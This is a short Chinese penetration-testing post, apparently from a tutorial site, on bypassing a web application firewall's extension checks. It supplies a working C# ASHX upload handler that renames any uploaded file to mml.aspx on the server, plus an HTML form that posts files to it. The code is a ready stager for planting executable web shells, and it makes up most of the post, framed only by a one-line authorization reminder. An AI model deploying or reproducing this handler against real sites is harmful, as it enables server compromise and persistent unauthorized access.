小编注:渗透测试时请预先获得许可或授权,禁止进行非法渗透。 授权对一个电视台进行渗透测试,前提编辑器可以上传ashx文件的(编辑器 漏洞 ) 根据参考:http://www.2cto.com/Article/201212/176804.html 2.比较笨的方法,看代码吧 我对代码进行测试使用,防火墙依然检查 asp x后缀,,pnig0s的代码是上传xx.jpg保存的也是xx.jpg,xx.txt也是xx.txt,,,
我的方法是做了一个小的修改,伪原创。而且客户端不用那么麻烦。 上传任何类型文件(防火墙不检查的后缀)都会在服务端自动重命名. ———————- 看代码吧 ——————-
//////服务端////
<%@ WebHandler Language="C#" Class="Uploader" %>
using System;
using System.IO;
using System.Web;
public class Uploader : IHttpHandler
{
public void ProcessRequest(HttpContext hc)
{
foreach (string fileKey in hc.Request.Files)
{
HttpPostedFile file = hc.Request.Files[fileKey];
file.SaveAs(hc.Server.MapPath("mml.aspx"));
}
}
public bool IsReusable
{
get { return true; }
}
}
////////客户端///////
< html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>html控件与ashx进行保存上传文件</title>
</head>
<body>
<!--enctype="multipart/form-data"该类型指定传输数据特殊类型,如图片或mp3等,-->
<form action="http://host/uploadfile/xxx/upko.ashx" method="post" enctype="multipart/form-data" id="form1">
<p>
<input id="fileKey" name="fileKey" type="file" /></p>
<p>
<input id="Button1" type="submit" value="button" /></p>
</form>
</body>
</html>
查看更多关于ashx绕过防火墙 - 网站安全 - 自学php的详细内容...